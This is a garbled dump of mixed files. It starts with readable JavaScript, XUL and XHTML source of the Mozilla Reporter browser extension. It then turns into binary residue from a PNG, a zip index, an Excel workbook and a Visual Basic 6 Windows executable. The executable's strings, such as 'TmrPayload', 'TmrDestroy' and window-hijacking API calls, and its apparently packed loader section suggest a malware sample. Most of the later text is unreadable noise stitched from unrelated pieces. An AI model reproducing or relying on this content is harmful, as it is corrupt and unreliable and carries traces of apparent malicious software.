var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019
Joe Cage B
""#,##0;""\-#,##0
""#,##0;[Red]""\-#,##0
""#,##0.00;""\-#,##0.00
""#,##0.00;[Red]""\-#,##0.00
_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
#,##0.00_
#,##0_
"Yes";"Yes";"No"
"True";"True";"False"
"On";"On";"Off"
0.00_
0_);[Red]\(0\)
0.00_);\(0.00\)
???
???
???
6ReN!j
hgUSCQ<h
hgUSCQ<h
fJTe,g
fJTe,g
cUSCQ<h
cUSCQ<h
0]hVwQ9
vQN9(u
]KQkSu
]KQkSu
^yv;`{h
gPlQSQS
,{hQu
M&d2?'
M&d2?(
M&d2?)
M&d2?M
jZ?\.?
Microsoft Excel
!Print_Titles
Microsoft Office Excel 2003
Excel.Sheet.8
4/17/2019 4/17/2019 4/25/2019 1MZ
L!This program cannot be run in DOS mode.
PEC2^O
ProjShell32
Using shell32.dll functions
irOu@EEf9
TmrDestroy
TmrPayload
Command3
Command3
Command2
Command2
Command1
Command1
VB5!*
Shell32Functions
Using Shell32.dll
ProjShell32
!fOfOfOzC0@
G:7$C3
ProjShell32
Module1
FormShowDos
Module2
modComputerName
rOu@EEf9
EABHf{KeE
+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
TmrPayload
VBA6.DLL
Command1
Command2
Command3
TmrDestroy
user32
GetForegroundWindow
SetWindowTextA
GetWindowTextA
kernel32
lstrcpyA
SetWindowPos
FindWindowA
PostMessageA
Gadis_Noya
Gadis_A_Noya
Gadis_B_Noya
Gadis_C_Noya
Gadis_D_Noya
Gadis_E_Noya
Gadis_F_Noya
Gadis_G_Noya
Gadis_H_Noya
Gadis_I_Noya
+3q"=h
+3qyO3f
GetComputerNameA
[,JAF'
e/<C@[d
d,qJ`mN3f
Picture1
BitBlt
GetDesktopWindow
ReleaseDC
__vbaVarTstEq
__vbaStrCmp
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaStrVarMove
__vbaVarCmpNe
__vbaVarAnd
__vbaBoolVarNull
__vbaLateIdCallLd
__vbaEnd
__vbaVarSub
__vbaVarForNext
__vbaVarAdd
__vbaVarDup
__vbaI4Var
__vbaStrMove
__vbaVarMove
__vbaLenBstr
__vbaVarForInit
__vbaVarLateMemCallLd
__vbaObjVar
__vbaVarSetVar
__vbaFreeVar
__vbaFreeVarList
__vbaFreeObjList
__vbaFreeStrList
__vbaVarCat
__vbaStrVarVal
__vbaObjSet
__vbaFreeObj
__vbaFreeStr
__vbaStrCat
__vbaNew2
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaOnError
__vbaPrintFile
__vbaR4Var
__vbaVarCmpEq
__vbaVarOr
__vbaVarZero
__vbaAryUnlock
__vbaNextEachVar
__vbaFileClose
__vbaVarLateMemCallLdRf
__vbaForEachVar
__vbaVargVar
__vbaErrorOverflow
__vbaPut3
__vbaGet3
__vbaFileOpen
__vbaFpI4
__vbaI2I4
__vbaLateMemCall
__vbaStrVarCopy
__vbaInStrVar
__vbaStrCopy
[,JAF'
FormShowDos
Courier NewD
Picture1
MS Sans Serif;
Using shell32.dll functions
}SVWeE
} jXh0@
}#j(hp5@
}#j,h5@
}#j(h5@
}#j,h5@
}#j$h5@
}#jTh5@
}#jHh5@
}#j h5@
MQ8REP
MQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
rMQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
4SVWeE
F4~43;
j0hp5@
}#jPh6@
PtQREP
QTRdPMQ
TPdQUR
R4PDQUR
4QDREP
}#jhh6@
}#j|h6@
}#jXh6@
}#jXh6@
TRdPQRj
}#j4hp5@
4RDPTQdRtPQRj
4PDQTRdPtQRPQRPj
SVWeE8
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
=EMPQj
TdRtPQj
SVWeEH
uuuu|ld\XTD4$
RPQRMPQ
$4RDPQj
E|PDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEX
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEh
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEx
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
EPhh8@
=EMPQj
TdRtPQj
\SVWeE
} jPh6@
}#jXh6@
UREPMQUREPj
MQUREPMQURj
XSVWeE(
UREPQRPQ
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
MQRPQR
EPMQRPQR
URPQRP
PRTPXQ\R`Pj
Q(R8Pj
xREPMQpRlPtQ
PUREPMQj
UREPpQlRtP
PQRdPtQUR
dQtREP
QRPDQTREP
DRTPMQ
RPQ$R4PMQ
$P4QUR
QRPQREP
PR@P,Q
RPQRPMQ
PPpQ,R
PQRPQUR
pQUR,P
QRPQREP
RPQdRtPMQ
dPtQUR
PQRDPTQUR
DQTREP
QRP$Q4REP
$R4PMQ
PQRPQUR
QRPQREP
URpP,Q
QRPQRP
P$Q4RDPTQdRtPQRPQRPQR
Q$R4PDQTRdPtQj
_^[]QVt$
Vt&PX}
_fFX3^Y
EEEE|l\EPVE
QR|UF8QRPE
E\Pl^HQRSE
L|UQF8RP
\lR|PUQRj
}}}}thdTD4$
QP3f h
f9tY9=A
jPhtA@
jPhtA@
jPhtA@
jDhdA@
&dhQRj
mSVWeE
PxQhR0P@QUR
0Q@REP
RxPhQR
PxQhRPQUR
QxRhPQREP
RxPhQRPMQ
PxQhRpPQUR
QxRhPPQ`REP
PR`PMQ
RxPhQ0R@PMQ
0P@QUR
Q R0P@QPR`PpQRPQRPQRP
R P0Q@Rj
tSVWeE
MEPUQRE
;tvUEVPUE
UQREVPE
EMPUQRj
EEEE|l\L<,
xhXH8($
xhXHD4$
tdTD4$
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
hHR4PQ
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
<h4P$QR
$R4PQj
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
x|R4PQ
RPQRMPQ
$R4PQj
8MP4QR
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
<PSh@@
(QSh@@
xRSh@@
8PSh@@
HEPSh@@
URSh@@
$P4QRj
R$P4QDRTPdQtRPQRPQRPQ
P$Q4RDPTQdRtPQRPQRPQj
MSVBVM60.DLL
__vbaVarSub
_CIcos
_adj_fptan
__vbaVarMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaPut3
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaNextEachVar
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaVarCmpNe
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaVarForInit
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaVargVar
__vbaBoolVarNull
_CIsin
__vbaVarZero
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGet3
__vbaStrCmp
__vbaVarTstEq
__vbaI2I4
__vbaObjVar
DllFunctionCall
__vbaVarOr
_adj_fpatan
__vbaR4Var
__vbaLateIdCallLd
EVENT_SINK_Release
_CIsqrt
__vbaVarAnd
EVENT_SINK_QueryInterface
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaFPException
__vbaInStrVar
__vbaStrVarVal
__vbaVarCat
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVarLateMemCallLdRf
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarSetVar
__vbaI4Var
__vbaVarCmpEq
__vbaLateMemCall
__vbaVarAdd
__vbaVarDup
__vbaStrToAnsi
__vbaFpI4
__vbaVarLateMemCallLd
_CIatan
__vbaStrMove
__vbaStrVarCopy
__vbaForEachVar
_allmul
_CItan
__vbaAryUnlock
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
i>A4-$
fCtS5-'
ECyU80,
{jA4-$
EK-2P|
qL7-2\$
rQG--?YY!
rQG--YaD*
oF:6P}2
oXE--^
o`E:-3
1qqqqpY7-
,tttttttq\Z9*
(}vvvvvvvvvvvvumR2&
#}yyyyyyyyyyyyyyyrn)
"xVO4]
lWTUS?c~'
*$$$$$$$$
*%%%%%%%%*
*'''''''' *
*))))))))!*
*********"*
+++++++++&+
)(((((+++++
+****+
-kkeJ/
.nnnnnnnS8
/qqqqqqqqqqq\@$
tttttttttttttttfI3
wwwwwwwwwwwwwwwwwwwpS<
zzzzzzzzzzzzzzzzzzzzzzzz\E&
}}}}}}}}}}}}}}}}}}}}}}}}}}M
H((wf,
I33lfZ
KUUmfh
[~lR7#
Rqqqqq\G+
0uuuuuuuuugQ4
1zzzzzzzzzzzzzz\>
2}}}}}}}}}}}}}}}}}r
w)dgu6
Hg3&;wG
D9#?^}
!u}M9&
~!fnnnnnnnn:
$f&zzzzzzzzC
u0,,,,,,'#
11/15/2008
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
